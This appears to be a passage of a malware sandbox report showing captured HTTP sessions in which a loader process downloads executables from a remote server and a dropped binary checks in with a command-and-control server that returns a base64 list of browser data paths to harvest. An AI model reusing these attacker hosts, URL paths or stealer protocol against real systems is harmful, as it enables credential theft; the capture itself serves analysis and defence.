Dec 18, 2024 17:08:41.576034069 CET	793	IN	Data Raw: fd a8 95 4f 88 42 b6 4e 10 49 65 cb 02 5a c0 59 f6 d2 e4 96 2e 90 f7 20 e4 9f ab 01 7a 4d d8 36 88 e3 96 fb 67 a2 a2 b1 28 31 73 7a 85 3a e5 81 c9 5c 80 6b e4 ea 6b 77 10 47 30 73 8e c7 19 e5 fb f9 a0 f3 43 51 19 79 7e 3e 05 88 ac d2 2f 72 94 38 Data Ascii: OBNIeZY. zM6g(1sz:\kkwG0sCQy~>/r8Wni&*dn623aUK9giUhr!Eaa<,402CJTxBlfRT5wVqkyhuAh
Dec 18, 2024 17:08:41.576050043 CET	1236	IN	Data Raw: 8a d9 f8 50 57 bb 1b a4 d4 08 a8 af 8d f4 32 e8 e0 2c 18 ac 16 cd f3 60 51 1c d1 77 89 5d 2b 51 52 48 09 4b 12 d7 de 36 71 e1 15 d3 af c1 a2 12 55 12 79 93 c9 f0 f0 86 22 89 73 8f eb b4 09 e4 6e 05 5c 4a c7 ed 27 3a 2c 7b a2 5b 67 14 c7 ff ca 93 Data Ascii: PW2,`Qw]+QRHK6qUy"sn\J':,{[g4sdbUZXaD_IBIG:JX7$vAiulee''>2kAlk=u0MK:Ihqx)84k #I.45H'm{r=?-d]1
Dec 18, 2024 17:08:41.695122004 CET	1236	IN	Data Raw: 65 2c 79 4c c7 35 7b ce 48 b9 b6 35 82 6c bf 1f 8d 9e 8f 9d 82 75 63 d8 d7 f4 11 87 91 e3 4b 68 a7 24 2e b5 69 8e c7 cd d6 ba db ec e3 23 c4 c6 fc a3 31 be 9d 39 9b 7c 1d d8 10 d0 f2 f2 78 8d e0 95 2c e2 0b 5c 7a 29 13 10 89 51 1e f5 82 c1 fc cb Data Ascii: e,yL5{H5lucKh$.i#19\|x,\z)QIRa# E}vt{1&(YS%j.CHoZ;.FJC4ud+5MkE(*<j)k"($@Yt\THW//cs(_gz[V.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49823	185.215.113.16	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:40.406629086 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 17:08:41.738588095 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:40 GMT Content-Type: application/octet-stream Content-Length: 2903552 Last-Modified: Wed, 18 Dec 2024 15:29:10 GMT Connection: keep-alive ETag: "6762ea46-2c4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 80 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 4f 00 00 04 00 00 ea c3 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@nsggqmkp$\|@lrehquiqpO(,@.taggant0O",,@
Dec 18, 2024 17:08:41.739109993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:41.739665031 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:41.739681959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:41.740458012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: %ltq&,+1
Dec 18, 2024 17:08:41.740467072 CET	1236	IN	Data Raw: fb e3 0c dd 30 d7 29 ff d1 c8 9d 8b 03 bb 8e 03 d4 7c 8b 0e d3 4d 26 13 3a ef 8d 60 d2 bd 19 6e ba 7b 57 83 fb 18 12 a0 fb 07 2d 27 bb 9b ab 9d 7d d6 81 d1 1f 00 ac 98 34 57 10 06 62 1b 53 bd 51 b5 1d e9 ac 6e 5c 61 d4 f5 88 1d bd f7 b5 0a c7 25 Data Ascii: 0)\|M&:`n{W-'}4WbSQn\a%AU>/'6^.nNO5ud.f;q.6=Qj^b7<;EXunY,O-]U\|${B_F0~y!-;@!
Dec 18, 2024 17:08:41.740483046 CET	172	IN	Data Raw: 81 f7 03 93 34 66 b2 b3 f7 4b 63 a3 65 05 3c 59 26 9e 50 9c dc a5 00 f2 c9 b2 49 e3 7b 5e d9 16 d5 9a 22 55 24 d6 9d 4e b1 1b c4 32 13 49 bc e0 b1 ab cb 37 c3 b7 2a 7d ab 9b 8e 3d f2 36 a1 36 bd 0f eb 1c fd ae 79 4f 31 3a 2d f1 2e 12 55 b8 01 1b Data Ascii: 4fKce<Y&PI{^"U$N2I7*}=66yO1:-.UGxt4\&`F/J zqfp%E-bu]9n7Rh
Dec 18, 2024 17:08:41.741962910 CET	1236	IN	Data Raw: 31 5f 83 85 c4 a5 f1 9f f2 4c 4d 91 4d 47 4b 10 70 bf 44 e5 55 15 c8 73 4d 37 4c e9 98 a1 af 44 95 9d a0 28 de d4 69 a8 2d 32 7f 18 f2 5a 73 00 9a 5a 8c 8e 35 a3 b9 bc a3 cc ea 61 d4 1e 3a a2 6d 4a 45 5e 1f 58 80 5d 33 f1 15 90 1a 97 0a fd 47 9f Data Ascii: 1_LMMGKpDUsM7LD(i-2ZsZ5a:mJE^X]3G02\]YE]zgcSRYB,.QUp"$JlJw/5&-swi_GBM\0ZnE13R=7]&[<$X
Dec 18, 2024 17:08:41.741972923 CET	224	IN	Data Raw: f1 88 43 af ce e3 3d a3 8d 34 4c c7 02 1a 4c 45 36 9d 8d 21 fa b1 2b f1 41 9e 95 59 fa 0b 1b 11 32 36 02 50 ef 7b 15 a6 ef a1 59 1d c0 33 8e af 61 1b 36 82 c2 72 6f 3d b2 a9 c5 d2 85 9d 35 6c c0 d7 d1 af 7d a3 45 16 33 5c 13 ad ac 73 ab a3 a1 9b Data Ascii: C=4LLE6!+AY26P{Y3a6ro=5l}E3\sU3F%cU'2A5K1]1Lj.!b9152+M4CMmt)#K5d.:N=K
Dec 18, 2024 17:08:41.741990089 CET	1236	IN	Data Raw: 4e bb 90 ce bc fb 91 cf c2 2f 1d 6a b2 d8 95 d7 cd a7 b9 a3 ca 4f 9b 1a cb 09 3c e5 71 a4 e5 95 3d d7 93 ed 2d 14 ec 7d ec a9 05 9f 45 d5 4b d7 39 a9 11 b5 32 a7 df b1 81 b5 3d 9e b9 f4 5f 94 bf 5b 59 15 36 27 28 14 61 dd 22 9d 05 17 ea 15 f4 98 Data Ascii: N/jO<q=-}EK92=_[Y6'(a"N\|)f rm@yK,$e3:+{~9U !M[3/'B5EU+6%J,EdnxKt
Dec 18, 2024 17:08:41.858872890 CET	1236	IN	Data Raw: 32 1c 47 95 c9 23 c6 0d bb 4b 96 10 7d 47 13 a2 91 ba 17 a1 b7 e3 e1 bc 89 17 2c 21 37 d5 17 b1 c8 cb 29 a3 cb 9b 40 dd 89 ee 01 d2 b6 95 aa 85 e1 a5 35 11 c0 53 2c 6f bb f2 2a 96 ab a9 99 9e 4d 9b d5 11 f2 99 6f ae e0 b3 1f 77 33 1c c0 96 61 6f Data Ascii: 2G#K}G,!7)@5S,oMow3ao,3U1_O)+ROTJU2N968[h#5)SuB5aYa$mNuhjU;K;L57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49847	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:49.198818922 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016967001&unit=246122658369
Dec 18, 2024 17:08:50.570904970 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49848	185.215.113.16	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:50.911976099 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 17:08:52.426897049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:51 GMT Content-Type: application/octet-stream Content-Length: 967680 Last-Modified: Wed, 18 Dec 2024 15:27:03 GMT Connection: keep-alive ETag: "6762e9c7-ec400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b8 e9 62 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 14 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELbg"w@ @@@d\|@Xu4@.text `.rdata@@.datalpH@.rsrcX@Z@@.relocuvN@B
Dec 18, 2024 17:08:52.427000999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 18, 2024 17:08:52.429522991 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 18, 2024 17:08:52.429531097 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 18, 2024 17:08:52.430433989 CET	896	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 18, 2024 17:08:52.430442095 CET	1236	IN	Data Raw: ad 00 00 8d 4d d8 e8 d0 ad 00 00 5f 5e 5b c9 c2 08 00 49 eb 97 41 eb 94 55 8b ec 81 ec b4 00 00 00 53 56 33 f6 c7 85 50 ff ff ff 7f 00 00 00 46 33 c9 8b c1 89 75 98 8b d1 89 4d f4 8b d9 89 4d e0 57 89 4d b4 8b f9 89 55 f8 89 5d fc 89 4d f0 89 4d Data Ascii: M_^[IAUSV3PF3uMMWMU]MMMMEEfMTEXf\MEEfM`EdfhlEpftxE\|fMMEEfM,Ff9Xu]u}!
Dec 18, 2024 17:08:52.431395054 CET	1236	IN	Data Raw: ff 83 7d f0 00 8b 55 f8 8b 5d fc 0f 85 1b fc ff ff 85 d2 0f 85 13 fc ff ff 85 db 0f 85 0b fc ff ff e9 2f 03 04 00 8b 45 f0 48 4f 83 bd 78 ff ff ff 00 89 45 f0 0f 84 97 00 00 00 80 7d 81 00 8b 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 Data Ascii: }U]/EHOxE}Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D
Dec 18, 2024 17:08:52.431404114 CET	1236	IN	Data Raw: f8 c3 49 00 8d 4c 24 28 e8 15 6d 00 00 5f 5e 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 34 53 56 57 6a 0f ff 15 3c c7 49 00 68 00 7f 00 00 6a 00 8b d8 ff 15 38 c7 49 00 8b 35 34 c7 49 00 8b f8 6a 63 ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d Data Ascii: IL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^
Dec 18, 2024 17:08:52.432317019 CET	1236	IN	Data Raw: 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 Data Ascii: jPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLH
Dec 18, 2024 17:08:52.432326078 CET	1236	IN	Data Raw: 24 28 e8 3e 05 00 00 8d 54 24 28 8b ca e8 30 fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 24 28 b9 c8 23 4d 00 50 e8 1b 1c 00 00 8d 4c 24 18 e8 14 74 00 00 8d 4c 24 18 e8 6d 71 00 00 8d 44 24 10 33 f6 50 6a 01 56 68 f4 ca 49 00 68 01 Data Ascii: $(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0
Dec 18, 2024 17:08:52.711193085 CET	1236	IN	Data Raw: 24 18 50 8d 84 24 34 01 00 00 50 e8 8a 0f 02 00 59 59 8d 84 24 18 01 00 00 50 56 ff 15 d0 c4 49 00 8d 4c 24 08 e8 7c 5e 00 00 5e 8b e5 5d c3 55 8b ec 56 8b 75 08 57 8b f9 85 f6 74 15 8d 46 ff 50 52 57 e8 ba 98 02 00 83 c4 0c 33 c0 66 89 44 77 fe Data Ascii: $P$4PYY$PVIL$\|^^]UVuWtFPRW3fDw_^]UQM;sH]PUVhPjIPM&bMM]^UVjPh1hItP}0hh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49857	185.215.113.206	80	4408	C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:53.651866913 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 17:08:55.012056112 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:08:55.017637014 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 37 34 43 37 33 39 36 35 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="hwid"2974C73965222838420810------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="build"stok------EBKEHJJDAAAAKECBGHDA--
Dec 18, 2024 17:08:55.501362085 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 63 31 4e 32 51 77 4f 54 46 6d 59 6a 52 6d 4f 47 45 78 4d 6d 51 79 4f 44 41 31 4e 6a 45 79 5a 6a 56 6a 59 32 45 77 4e 44 6b 79 5a 54 59 78 4f 57 46 6c 4e 54 45 77 5a 44 4e 6a 59 32 4d 7a 4f 44 45 30 4d 6d 46 6d 59 6a 49 77 5a 6d 55 32 5a 47 5a 6b 4f 44 68 68 4f 44 52 6c 4d 54 67 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Mjc1N2QwOTFmYjRmOGExMmQyODA1NjEyZjVjY2EwNDkyZTYxOWFlNTEwZDNjY2MzODE0MmFmYjIwZmU2ZGZkODhhODRlMTgxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 18, 2024 17:08:55.546111107 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGHIJJEHJDGCBFHCGI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 48 49 4a 4a 45 48 4a 44 47 43 42 46 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 48 49 4a 4a 45 48 4a 44 47 43 42 46 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 48 49 4a 4a 45 48 4a 44 47 43 42 46 48 43 47 49 2d 2d 0d 0a Data Ascii: ------AKEGHIJJEHJDGCBFHCGIContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------AKEGHIJJEHJDGCBFHCGIContent-Disposition: form-data; name="message"browsers------AKEGHIJJEHJDGCBFHCGI--
Dec 18, 2024 17:08:55.991162062 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 18, 2024 17:08:55.991269112 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
